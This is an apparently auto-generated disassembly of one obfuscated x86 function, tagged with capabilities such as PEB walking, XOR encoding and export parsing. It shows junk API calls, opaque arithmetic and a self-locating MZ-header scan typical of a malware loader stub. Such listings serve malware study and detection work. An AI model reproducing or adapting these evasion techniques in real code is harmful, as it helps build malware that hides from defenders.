Function at 0x4020ca
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push 0x9a
push dword [0x40604c]
push str.1c1P2P2Q2Q2.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
test eax, eax
je 0x401020
dec eax
mov ecx, eax
add eax, 0xfffffff5
push eax
push 0x4058c0
push str.qdqeqeq
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push dword [0x4069bc]
push 0x405138
push str.2c2c2c2c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x68
push eax
push str.THTHTH6U6U7.0_i
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x20
push 0xb6
push 0x406c40
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x684
push dword [0x405e90]
push str.EQERFRF9X
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x4066a0
push 0x8b3
push 0x405074
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x401296
push 0x683
push 0x405aa8
push str.0a0a.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov ecx, 0xf902c73
push dword [0x406244]
push 0x1ad
push 0x406ad0
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 2
push esp
push str.uivivjvjv.cfg
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x4010de
mov edx, eax
mov ecx, edx
jmp 0x4010e5
lea edx, [eax + 0x436]
inc eax
push 0x217
push 0x4059c8
push 0x406734
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x89
push str.zFwIVtG
push 0x406e50
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x81
push 0x28
push 0x4067d0
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
test eax, eax
je 0x40114a
xor ecx, ecx
mov edx, eax
xchg ecx, edx
lea ecx, [ecx + 0x10ee]
add eax, esp
test edx, edx
jne 0x40113c
mov edx, eax
add eax, 0xa
dec edx
inc eax
add edx, 0xffffffc5
shr edx, 0x12
add ecx, 0x2a409bb9
cmp eax, 0x9780eb62
jne 0x401256
push eax
push 0x4b1
push 0x406030
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push ebp
push 0xb
push 0x405a7c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0xc1
push 0xc1
push 0x405854
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x60
push 0x21
push str.mamananbn
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
test eax, eax
je 0x4011be
sub eax, 0xffffffd5
mov edx, 0xfcbdfc0d
xor al, al
add eax, 0xfffffff3
mov ecx, edx
mov edx, eax
inc ecx
sub dh, dh
sub eax, ebp
add ch, 0x97
inc eax
sub ecx, 0xdf826aa7
shl ecx, 1
inc eax
and eax, 3
push 0x22
push 0
push str.O1O1P1P1P1P.cfg
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x201
push 0x405b1c
push str.lala2.irB
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x405df0
push 0x405dbc
push str.9k_Y_Y_eJVJ.txt
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x40121d
xor eax, eax
mov edx, eax
mov ecx, edx
dec edx
sub dl, dh
sub eax, 9
inc eax
and edx, 0x4f267440
add eax, esp
lea edx, [edx + edx*4]
add edx, esp
neg eax
inc edx
lea eax, [eax + eax]
not eax
sub eax, esp
cmp eax, 0x881d35a1
je 0x401234
sub ecx, 0x461df086
inc ecx
add ecx, ecx
and eax, 0xffffffc5
dec ecx
sub edx, 0x51
sub eax, 0xffffffc5
xor ecx, edx
not eax
add edx, 0xffffffa2
test edx, edx
jne 0x40124c
sub ecx, 0xfffffff0
add edx, 0x43
add ecx, ebp
inc edx
and ecx, 0xffffffa6
add eax, ebp
mov cl, dl
add ecx, 0xffffffa5
lea edx, [edx + 0x3d6]
lea edx, [edx + 0x1b]
add ecx, 0x3f
add edx, 0x5b6c8c74
cmp eax, esp
je 0x401271
mov eax, ecx
add eax, 0xffffff97
mov ecx, edx
inc eax
mov edx, eax
add eax, ebp
mov dh, cl
and edx, 0x3a
neg edx
lea ecx, [ecx + eax]
cmp edx, 0x74383c95
je 0x401296
mov edx, 0x688342ab
dec ecx
mov eax, ecx
inc eax
push 0x40608c
push 0x40509c
push 0x406be0
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x4a9
push dword [0x405fe8]
push 0x4061c4
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x4012d6
jne 0x4012c9
add eax, eax
sub edx, edx
add eax, 0xffffffe6
mov ecx, edx
add ecx, ebp
inc edx
jmp 0x401358
push str.qdqeqeq
push ebp
push str.NZNZNZN0O.txt
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x40652c
push 0
push str.nAoAoAoAoAHaZa
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov ecx, 0xf808c6c5
mov edx, eax
mov eax, ecx
inc edx
test ecx, ecx
je 0x40134c
lea edx, [edx + eax*8]
mov edx, eax
add cl, ch
sbb eax, ecx
add ecx, 0x3e
mov al, dh
sub eax, 0xffffffb6
dec edx
add eax, 0xffffffed
inc ecx
sub eax, 0x5b
sub ecx, 0xffffffb2
inc ecx
xor eax, ecx
neg eax
mov ecx, edx
lea eax, [eax - 2]
sub dl, 0x1f
lea edx, [edx + 0x7c]
jne 0x40133a
lea ecx, [ecx + ecx*4]
jmp 0x40133b
dec eax
shr eax, 0x1f
add eax, 0xffffff8a
dec edx
inc eax
lea ecx, [eax + ecx]
add eax, 0x3d
sub eax, 0xffffffeb
mov ecx, edx
test ecx, ecx
je 0x401358
neg eax
and ch, 0xc3
dec eax
not edx
push 0x4064dc
push str.P2Q2Q2Q2Q
push 0x4063dc
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
cmp eax, 0xa6199215
je 0x401379
dec eax
mov ecx, eax
push 0
push 0x981
push 0x405770
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov eax, 0xa42dfa74
cmp eax, 0x7789b50a
jne 0x4013ad
lea edx, [eax + eax*8]
mov eax, 0xbf1ebc0f
xor ecx, ecx
add edx, 0x32
mov ax, 0xcca
dec eax
inc ecx
add eax, ebp
inc edx
cmp eax, ebp
je 0x401439
add ch, cl
add ecx, 0xffffff95
cmp ebp, 0xc4d5117
jne 0x4013de
xchg edx, ecx
xor eax, eax
shl ecx, 0x14
cmp ebp, 0xffffffd2
je 0x4013d0
add ecx, ecx
add eax, ecx
sub eax, esp
add edx, 0x43
dec ecx
and ecx, 0x6d7888ff
add edx, edx
add edx, 0x4f
add dh, 0xd7
lea eax, [eax + 0x26]
and dh, 0xc3
lea eax, [eax + eax*2]
xor cx, cx
mov eax, ecx
not ecx
je 0x4013fc
xor cl, ch
jmp 0x401410
xchg edx, ecx
add edx, edx
lea edx, [edx + 0x1c]
add edx, 0x8cc8e785
lea eax, [eax + 0x5de]
dec ecx
dec ecx
jne 0x40141e
lea ecx, [ecx + ecx*8]
sub ecx, 0x3ab717c1
jmp 0x401424
sub edx, 0x666b0f09
dec eax
xor eax, esp
cmp eax, esp
je 0x401434
add ecx, 0x65
add eax, 0xfffffff1
rcr edx, 0x19
shr ecx, 4
xor ch, ch
jne 0x40154b
push 0xf
push 0x81
push str._Y_YaYaZaZ.W6d
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x40149d
mov edx, eax
cmp edx, 0xffffffde
je 0x401464
mov ecx, edx
xor eax, eax
mov edx, eax
mov eax, ecx
inc edx
inc eax
and ecx, 0x28
lea eax, [eax + 6]
xchg ecx, edx
dec edx
cmp eax, 0xb8181d54
jne 0x40147a
sub ecx, 0xe6e97fe7
cmp eax, esp
jne 0x401485
dec edx
dec ecx
dec eax
and eax, 0x63
dec ecx
rcr edx, 0xb
dec eax
sub eax, 0x318212d5
inc edx
inc edx
sub edx, 0x15
lea ecx, [ecx - 0x77]
neg ecx
dec ecx
mov al, dl
jmp 0x4014cc
add ecx, 0xffffff99
add edx, ebp
sub eax, 0x45
sub edx, 0xffffff97
shr ecx, 0x13
test edx, edx
jne 0x4014b4
lea eax, [eax + eax*4]
mov eax, ecx
xchg edx, ecx
cmp eax, esp
je 0x4014c6
inc ecx
lea eax, [ecx + eax*4]
dec eax
lea edx, [edx + 0xdb2]
dec eax
lea ecx, [eax - 3]
sub eax, 0x14
inc edx
shl ecx, 0xb
je 0x4014dd
sub ecx, 0xffffffde
sub edx, 0xc10e088b
jmp 0x401503
add ch, al
sub eax, 0x3a
add edx, 0xffffff86
inc ecx
shl ecx, 0x1a
sub eax, 0xe
add eax, 6
neg edx
not edx
lea eax, [eax + 0x66]
add ecx, edx
sub eax, ebp
rcl eax, 3
mov edx, eax
shr ecx, 8
dec edx
mov eax, ecx
not edx
add eax, 0x62
dec edx
je 0x401516
lea edx, [edx + edx]
mov edx, eax
inc edx
inc eax
jmp 0x40152d
add edx, edx
and ecx, 0x8825f924
sub eax, ebp
lea edx, [edx + 0x73]
lea eax, [eax + 0x307]
sub dl, ch
xor ecx, ecx
add ecx, 0xcfee1fe5
and edx, 0xffffffd5
add ah, ah
neg edx
add ecx, edx
lea ecx, [ecx + 0x937]
lea edx, [edx + 0xcac]
inc ecx
jmp 0x401551
mov cl, 0x96
add ah, 0x8b
inc edx
push 2
push edx
push 0x405510
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
je 0x401569
shr eax, 0x17
jmp 0x401610
push str.qCqCqDqDrDrDrD
push 0x8a1
push 0x405048
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0
push 0x405384
push 0x4060f0
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0
push 0xe85
push 0x406b80
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push dword [str.ZNZalamyKyKX9X3]
push esp
push str.re4f5fJx.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
inc eax
inc eax
mov ecx, eax
mov edx, ecx
not ecx
mov eax, ecx
inc edx
shl eax, 1
lea ecx, [ecx - 0x7e]
add eax, eax
dec eax
xchg ecx, eax
add ecx, 0xffffffd2
inc eax
add al, 0x1b
not edx
and ecx, 0xffffffcc
sub edx, 0xffffffe8
shl eax, 3
test ebp, ebp
jne 0x4015e4
shr ecx, 1
add dh, ch
mov ecx, edx
dec edx
neg eax
lea ecx, [ecx + 0x3c8]
je 0x4015f7
inc eax
add eax, 0xfffffff9
sub ecx, edx
dec edx
jmp 0x4015fa
add eax, 0xffffffd0
mov dl, ch
add dx, dx
add eax, esp
not edx
add edx, 0xffffff85
mov ecx, edx
xor eax, esp
inc eax
add ecx, ebp
add eax, 0xffffffbb
push 2
push 0
push str.c2c.dnx
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov edx, eax
push 0x30
push 0x406334
push 0x406568
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 2
push 0x105
push 0x40543c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x401676
inc eax
mov edx, eax
xor ecx, ecx
xor ax, ax
dec eax
sub ecx, edx
and ecx, 0xffffff9d
mov edx, eax
add al, 0x8a
add ecx, 0x73d553b1
dec ecx
add eax, esp
xor al, al
sub ecx, ebp
add eax, 0xffffffcf
add eax, 0xffffffdf
inc eax
rcl eax, 0x1e
add ah, al
dec edx
inc ecx
jmp 0x4016ba
neg eax
add ch, dh
cmp ecx, 0x75
jne 0x401681
mov edx, eax
mov eax, ecx
sub edx, 8
lea ecx, [ecx + 0x14]
je 0x401692
shr eax, 1
add ecx, ebp
inc ecx
jmp 0x401695
add eax, 0xffffffc0
cmp ecx, ebp
jne 0x4016af
inc ecx
mov ah, al
add ecx, 0x5d01fecd
sub cl, dl
mov edx, eax
xor eax, eax
inc edx
add ecx, 0xffffff86
inc edx
neg edx
add edx, 0x18
inc ecx
xchg cl, ah
inc edx
inc edx
lea ecx, [ecx + eax*8]
mov ecx, edx
mov eax, ecx
push 0xe1
push dword [str.sEsgsgsgsg]
push 0x406ad0
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
cmp ebp, 0xffffffe7
je 0x4016fb
inc eax
sub eax, 0x4c
mov edx, eax
mov ecx, eax
cmp edx, 0x49
je 0x4016f0
rcl eax, 0x16
sub ecx, ebp
mov dh, 0xf3
sub edx, 0x45
lea edx, [edx - 0x6c]
add ecx, edx
mov ah, cl
xchg ecx, eax
mov edx, ecx
inc ecx
add edx, edx
test ebp, ebp
je 0x401762
jne 0x40170e
rcr edx, 3
sub eax, 0xffffff84
shr ecx, 0x16
jmp 0x401752
inc edx
not edx
add al, 0x75
add ecx, 0x6d
add eax, esp
inc ecx
lea ecx, [ecx + 0x8cc]
cmp esp, 3
jne 0x40172a
sub ax, cx
mov dh, dl
dec edx
cmp edx, 0x20c8f13b
je 0x401738
add eax, esp
and ecx, 0x5c
dec ecx
mov edx, ecx
lea eax, [eax + 0x338]
xor ecx, ecx
add edx, eax
mov eax, ecx
mov ah, 0x12
add eax, 0xffffff9d
sub ecx, 0x62
mov cx, 0xb432
and ecx, 0x6d396c45
add edx, 0xffffffea
inc ecx
inc eax
lea ecx, [ecx + 0x31]
mov al, cl
add eax, 0xffffffe4
push 0xe1
push ebp
push str.ococpcp
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0xc3
push esp
push str.4S4frfr.cfg
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
add eax, 0xffffff82
lea ecx, [eax + 0x1b]
cmp ecx, 0xffaacb31
jne 0x40182c
cmp ebp, 0x1a
jne 0x4017a3
add ecx, ebp
mov edx, eax
inc ecx
cmp ecx, 0xffffff8b
je 0x401818
push 0x1e3
push 0x24
push 0x405040
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
lea eax, [eax + 0xc83]
add eax, esp
inc eax
jne 0x4017da
add eax, ebp
lea eax, [eax + 0xa58]
inc eax
mov ecx, 0xa2d4a5c9
add ecx, 0xfffffffb
mov ch, cl
jmp 0x4017f0
xor edx, edx
inc eax
sub edx, 0xc4f72cd8
sub ah, 0xf
add ecx, edx
mov ax, 0x7ed6
not ecx
add edx, edx
sub ecx, ebp
cmp eax, 0xd348bff1
je 0x401808
lea eax, [eax - 8]
add ecx, 0xffffffa5
add eax, 5
sub ecx, 0xffffff9f
inc eax
not eax
add edx, 0x64f1636b
add ecx, 0xffffff94
add edx, ebp
add ecx, 0xffffffce
xchg edx, eax
inc eax
inc eax
neg ecx
mov cx, 0xfcbe
inc ecx
mov cl, al
sub ecx, 0xffffffdc
add dx, dx
mov eax, ecx
mov ecx, edx
lea edx, [ecx - 0x2a]
je 0x4018d5
push 0x621
push 0x405e0c
push 0x40648c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x40185a
and eax, 0x10
xor edx, edx
mov ecx, edx
add eax, 0x32
not eax
jmp 0x40185d
dec eax
sub al, 0xed
mov edx, eax
sub eax, esp
push str.pdqdqeqeqeqeqe7
push dword [str.lyK.cfg]
push 0x406ea8
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
cmp eax, ebp
je 0x401890
mov edx, eax
mov ecx, edx
sub eax, ecx
inc eax
sub ecx, 0x76
add ecx, 0xffffff88
mov edx, eax
lea eax, [ecx + ecx]
add ecx, 0x36
add ch, 0xff
add edx, 0x1db8e405
xor dl, dl
add ecx, 0x14
inc ecx
sub edx, 0x76
xchg ecx, edx
dec eax
and eax, 0xffffff9a
xchg dl, dh
mov ax, 0x5633
dec eax
add cl, 0xcb
inc edx
xor eax, esp
test esp, esp
jne 0x4018cc
cmp eax, 0x1623e33d
jne 0x4018c3
sub eax, 0xffffffd6
xchg cl, al
dec ecx
sub edx, 0x565f2214
add ecx, 0xffffffd0
and eax, 0xffffffc2
dec edx
jmp 0x4018e1
lea eax, [eax + 0xe5a]
sub ecx, 0xa4f51365
push 0x2b1
push 9
push str.GS5f5.cfg
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
dec eax
push 0x18d
push 0x8f
push str.lamamamam.clv
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x22
push dword [0x406cd4]
push str.MAMAoBo
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
add eax, 0xffffff9c
push 0x4050f8
push esp
push str.znAnAoAo
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
lea eax, [eax + 0x545]
add ah, 0xbb
je 0x40194c
mov edx, eax
mov ecx, eax
xor ah, ah
add ecx, edx
lea edx, [eax + eax*4]
xchg ecx, edx
xor eax, eax
jmp 0x401973
inc eax
add eax, ebp
add dl, dl
test dh, dh
je 0x401957
xor edx, edx
sub edx, 8
add edx, 0xffffffaf
add ax, ax
and ecx, 0x66
dec eax
lea eax, [eax - 0x34]
add eax, esp
lea eax, [eax + eax*4]
sub eax, ecx
dec eax
dec eax
inc edx
mov ecx, edx
push 0x383
push 0x405528
push 0x4063a4
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push dword [0x4059ac]
push 0xf
push 0x406d60
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x406e58
push 0x381
push str.IwIU6U6h
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x4019f6
cmp esp, 0x4d
je 0x4019bf
mov ecx, eax
add eax, esp
sub eax, 0x5a
dec ecx
add eax, 0xffffff8a
test ecx, ecx
jne 0x4019cb
mov cl, ch
sub ecx, 0xffffff89
mov edx, 0x6d312852
and eax, 5
sub edx, 0xc
add ecx, ecx
inc edx
add eax, eax
dec eax
lea edx, [edx + eax*2]
xchg edx, ecx
mov ah, 0x13
cmp ecx, 0xffffffe9
jne 0x4019ef
add ecx, 0xf25c9aae
inc eax
xchg cl, al
add ecx, 0x1e
jmp 0x401a00
and eax, 0xffffffd2
inc eax
lea edx, [edx + 0x48e]
cmp edx, 0xffffffeb
je 0x401a17
inc ecx
xchg ecx, edx
lea edx, [edx - 0x58]
mov ch, ah
lea edx, [edx + 0x77]
dec ecx
mov eax, 0x48e0ff94
dec ecx
cmp eax, 0xffffff8f
jne 0x401a22
xor ch, ch
mov eax, ecx
not ecx
je 0x401a74
test ecx, ecx
je 0x401a3e
test ebp, ebp
je 0x401a2f
shr ecx, 0x10
add eax, ecx
mov ecx, edx
and eax, 0xffffff8b
lea ecx, [ecx - 0x49]
add eax, 0xffffff8a
mov ch, 0xcc
jne 0x401a43
inc eax
jmp 0x401a55
inc edx
rcr ecx, 0x12
sub ecx, 0x38
and cl, 0xcf
sub ah, 0x43
mov ah, 0xea
sub eax, esp
dec ecx
inc edx
dec ecx
test ecx, ecx
jne 0x401a68
mov ecx, edx
add edx, 0x7d17a0e7
add edx, 0x6c
xor edx, eax
add ecx, ebp
inc eax
lea ecx, [ecx + 0x7d6]
dec ecx
jmp 0x401a77
add ecx, 0xffffff8a
mov cl, al
sub eax, 0xffffffa8
cmp edx, esp
jne 0x401ada
lea edx, [edx + 0xd43]
shr edx, 0x1c
dec ecx
cmp ecx, esp
jne 0x401aac
mov ecx, edx
add edx, 0x16
add eax, 0x3b
xor ah, ah
shl ecx, 1
add edx, 0xffffff9c
mov cl, ah
add eax, 0xffffff8c
sub eax, 0x2f
add ecx, edx
inc edx
sub eax, 0xffffffd7
dec eax
sub ch, cl
xchg edx, ecx
jne 0x401ab7
lea ecx, [ecx - 0x54]
jmp 0x401ac3
lea edx, [edx + 0x50b]
inc ecx
add eax, ecx
not edx
xchg edx, eax
cmp eax, esp
jne 0x401acd
dec edx
mov eax, 0xb61ed441
sub ecx, 0xffffffc6
xor edx, esp
mov ah, al
dec ecx
add edx, 0xffffffd3
not ecx
lea ecx, [ecx + 0x574]
jne 0x401aed
lea eax, [eax + 0x665]
sub ecx, 0xfffffff9
jmp 0x401b00
add ecx, 0xffffff9a
sub eax, 0x6b
add edx, 0xae6cf13f
inc eax
sub edx, 6
lea ecx, [eax + ecx*4]
push 0
push ebp
push 0x4060e8
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
lea edx, [eax + eax*4]
ror eax, 9
je 0x401caa
jne 0x401b20
mov ecx, edx
jmp 0x401b64
shl ecx, 1
test esp, esp
je 0x401b28
mov edx, ecx
cmp ecx, 0x266e4d2b
je 0x401b39
add edx, 0xd6585a3c
add edx, 0xffffffb8
dec ecx
lea edx, [edx + 0xfca]
xor al, al
add eax, ecx
add eax, 0xe70bec12
cmp eax, 0xbe75467
jne 0x401b60
mov al, dh
and eax, 0x7761f08b
lea edx, [ecx + ecx*4]
mov ecx, eax
and edx, 8
inc edx
sub eax, esp
neg edx
push 0x109
push eax
push 0x4058fc
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x10
push dword [0x405550]
push 0x405168
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
add eax, 0xffffffc1
test ebp, ebp
jne 0x401ba5
mov ecx, eax
mov edx, eax
rol eax, 0xc
add eax, esp
inc edx
sub ecx, 0xffffffd2
sub al, al
add edx, edx
neg eax
sub ecx, ebp
dec ecx
cmp eax, esp
je 0x401bef
sub cl, dh
mov edx, eax
add eax, 0x7a
cmp ecx, edx
je 0x401bcb
mov ecx, eax
add eax, 0x23
cmp ecx, esp
je 0x401bc0
inc ecx
xor ah, ah
sub dl, dh
add ch, 0x43
and edx, 0x63
lea eax, [eax + 0x18]
test esp, esp
jne 0x401bd5
lea edx, [ecx + edx*8]
add al, 0xe
dec eax
mov ecx, edx
and ecx, 0x21
sub al, al
sub eax, esp
mov al, dh
xor eax, ecx
mov ch, 0x84
add ecx, ecx
and edx, 0x56
and ecx, 0x23
add eax, 0xffffffa2
cmp eax, esp
je 0x401bfa
mov eax, ecx
sub ecx, 4
dec eax
inc edx
push 0x10e
push dword [0x405130]
push 0x40651c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x4051c8
push 0x405028
push 0x406ea8
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
lea edx, [eax - 0x31]
add edx, 0xffffffcf
push esp
push 0x81
push 0x406074
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
xor edx, edx
je 0x401c73
add eax, 0xa2c94068
lea ecx, [eax + 0x707]
test ecx, ecx
jne 0x401c60
inc ecx
sub dh, 0x5f
sub eax, 0xb
sub ecx, edx
inc edx
add ecx, ebp
add eax, ecx
inc edx
mov ah, dl
mov ecx, 0xa7416442
lea eax, [eax + 0xe55]
add cl, cl
not ecx
inc edx
add edx, 0x31
cmp ecx, 0xffffff8b
jne 0x401c7a
shr edx, 1
test eax, eax
je 0x401c8a
mov ecx, edx
dec edx
mov eax, edx
lea ecx, [ecx - 0x25]
mov al, 0xb0
and ecx, edx
dec eax
lea edx, [edx + 0x5dd]
lea eax, [ecx + eax]
mov ecx, edx
mov eax, edx
dec ecx
inc eax
lea eax, [eax + edx*4]
shr edx, 9
xchg ah, al
dec edx
add eax, esp
mov ch, dl
dec eax
jmp 0x401cb2
dec ecx
and ch, 0x17
and ecx, 0xffffffd4
inc ecx
jne 0x401cda
mov ch, ah
shl eax, 0x11
shr edx, 1
add edx, 0xffffffca
dec edx
inc eax
dec ecx
test edx, edx
je 0x401cc9
mov edx, eax
mov ch, 0x70
lea eax, [eax - 0x36]
lea eax, [eax + 0xb70]
shr eax, 0x16
dec ecx
add edx, edx
add eax, eax
push eax
push eax
push str.QEQEQER.cfg
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x1c3
push dword [str.7hthtGS4erDP2]
push str.3d3R3R.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push eax
push 0xe
push 0x40557c
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov edx, eax
add edx, edx
push 0xcb2
push esp
push 0x406568
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x401d65
sub eax, esp
xor edx, edx
test eax, eax
je 0x401d2f
mov ecx, edx
mov eax, edx
dec ecx
mov al, 0x3f
add ecx, 0x17
jne 0x401d54
cmp eax, 0xced6e28e
jne 0x401d47
lea edx, [eax + 0x507]
add eax, 0xffffffba
inc ecx
add ecx, 0x4ac4b03f
add eax, ebp
sub edx, 0xffffffaa
mov al, ah
test eax, eax
je 0x401d5e
mov eax, ecx
mov ecx, edx
add dh, ah
lea eax, [edx + ecx*2]
xor edx, edx
jmp 0x401d73
mov ecx, edx
lea eax, [ecx + eax*4]
mov eax, ecx
sub eax, esp
mov edx, eax
add eax, 7
push 0x81
push 0x18
push 0x406afc
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
jne 0x401dd0
mov ecx, 0xb2dc89b7
je 0x401da1
sub ecx, 0xfffffff9
mov edx, eax
dec edx
xor dh, dh
and eax, 0xffffff9f
sub eax, 0xffffffef
sub ecx, 0x2d
mov ah, ch
cmp eax, 0xffffffd5
je 0x401dbd
mov ecx, eax
shl ecx, 0xd
inc ecx
mov eax, ecx
inc ecx
inc eax
inc eax
add eax, ecx
add eax, 0xffffffd5
sub ecx, 0xffffffe0
add eax, ecx
xor ecx, ecx
sub cl, 0x43
add ecx, 0x3a35d40
lea ecx, [ecx + 0xeab]
mov ch, cl
jmp 0x401dd1
inc edx
cmp eax, esp
je 0x401df8
test esp, esp
je 0x401ddb
dec ecx
dec eax
cmp eax, ecx
je 0x401de9
xor eax, eax
inc eax
add eax, ecx
sub edx, 9
sub al, ah
xchg al, cl
xchg edx, eax
inc ecx
and eax, 0x3c
lea edx, [edx + 0x10c6]
mov al, 0xc2
jne 0x401f42
push 0xa82
push 0x13
push 0x406a00
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push dword [0x4069f4]
push str.AMAM.yIt
push 0x4052a4
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
mov ecx, eax
jne 0x401e32
add ecx, esp
sub eax, 0x4a
dec ecx
jmp 0x401e48
shl eax, 0xd
sub eax, 0xffffffa2
mov edx, eax
add eax, 0x4b
add ecx, 0xfffffffe
lea edx, [edx + eax*4]
add ecx, 0x60
mov edx, eax
mov eax, ecx
push 0x21
push dword [str.g6g6g6g6g6h6h7]
push str.GTT5g.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
test eax, eax
jne 0x401eec
push 0x201
push 0
push str.5gsg6g6gmzn.ini
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
push 0x12
push 0x93
push 0x405290
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
cmp eax, 0x28
je 0x401e92
mov edx, eax
sub eax, esp
mov ecx, eax
cmp ecx, edx
je 0x401ec1
lea ecx, [eax + 0x7c7]
xor eax, ebp
and ecx, 0xfffffffb
add eax, esp
sub edx, 0xb35738e4
test esp, esp
jne 0x401eb6
and edx, 0xffffffb3
rol ecx, 0x19
inc edx
lea edx, [edx + 0xd76]
not edx
rcl edx, 0x1a
sub cl, 0xfb
and edx, 0x20
inc eax
mov cx, 0xab2b
add ecx, edx
and ecx, 0xffffff8c
add eax, 0xffffff8a
mov cx, 0xa71d
and edx, 0xe
xor cl, cl
lea ecx, [ecx + ecx*2]
and eax, 0x79
xchg ecx, edx
add eax, esp
not ecx
sub ecx, 0xffffffed
lea ecx, [ecx + 0xb65]
lea ecx, [ecx - 0x1a]
inc eax
test cl, cl
je 0x401f40
xor cx, bp
inc ecx
je 0x401f11
lea ecx, [ecx + ecx*8]
add ecx, 0xb318bd39
add eax, ebp
sub ecx, 0xffffffff
add ecx, edx
dec ecx
inc edx
add ecx, 0x12
dec ecx
lea eax, [eax + 0x5dc]
xchg edx, ecx
and eax, 0x62
test esp, esp
je 0x401f27
not eax
je 0x401f32
mov ch, 0xf1
inc eax
lea ecx, [ecx + 0x5af]
add eax, 0x74
xor ecx, ebp
dec edx
add ch, dh
mov edx, ecx
sub edx, 0xffffffc7
dec edx
jmp 0x401f6f
mov cl, al
je 0x401f6f
add eax, ecx
lea edx, [edx + 0x4b]
cmp eax, 0xffffffd2
jne 0x401f56
xchg edx, eax
sub eax, ecx
dec ecx
sub al, ah
dec ecx
mov al, 0xac
add cl, 0x8f
lea eax, [eax + 0x64]
neg edx
sub eax, esp
shr ecx, 0x17
sub eax, ecx
dec edx
mov ecx, eax
shl ecx, 8
dec eax
push 0x14d
push 1
push str.FR3.NX6
call dword [sym.imp.USER32.DLL_OpenWindowStationA]
cmp eax, 0x2a
je 0x401fd1
mov edx, 0xdcfbce15
add eax, esp
inc edx
lea eax, [eax + 0x68]
mov ecx, eax
lea ecx, [ecx + ecx]
add edx, 9
sub eax, esp
sub edx, 0x60
add ecx, 0x44
dec edx
sub eax, 6
cmp eax, 0x324d3996
jne 0x401fbf
lea eax, [eax + 0x124]
xor eax, ebp
sub eax, 0xffffffcf
not ecx
shr edx, 0xd
lea eax, [eax + eax*4]
and ecx, 0x1f
sub edx, 0x69
mov eax, edx
mov edx, ecx
mov ecx, eax
add ecx, 0xffffffc6
add dl, 0xd3
cmp ecx, 0xda6f4ea2
je 0x401fe1
mov eax, ecx
neg ecx
add edx, 0x44
inc edx
sub cl, 0x4b
add ecx, 0xffffffc8
lea ecx, [ecx + ecx]
lea ecx, [ecx + 0xa53]
add ecx, 0x2f
rol ecx, 6
mov ch, 0xdc
sub cl, 0x17
mov edx, eax
dec edx
xchg edx, ecx
push ebp
mov ebp, esp
sub esp, 0x104
pushal
call 0x40200f
pop eax
mov ax, 0
mov bx, 0x5a4d
cmp word [eax], bx
je 0x402024
sub eax, 0x1000
jmp 0x402018
mov dword [ebp - 0x3a], eax
call 0x4020ca
push edi
or al, 0x2e
pop ss
jne 0x40209c
xor byte [ebp + 0x3b], ah
and dword [ebp + 0x13], esi
inc edi
adc dword [ebp + 0x20], ecx
add ah, byte [eax]
xor dword [0x4262a37], edx
and dword [ecx], esp
aaa
and byte [esi], dh
inc ebp
or dword [edx], ebp
and al, 0x21
or dword [edi], ebp
aaa
and al, 0x37
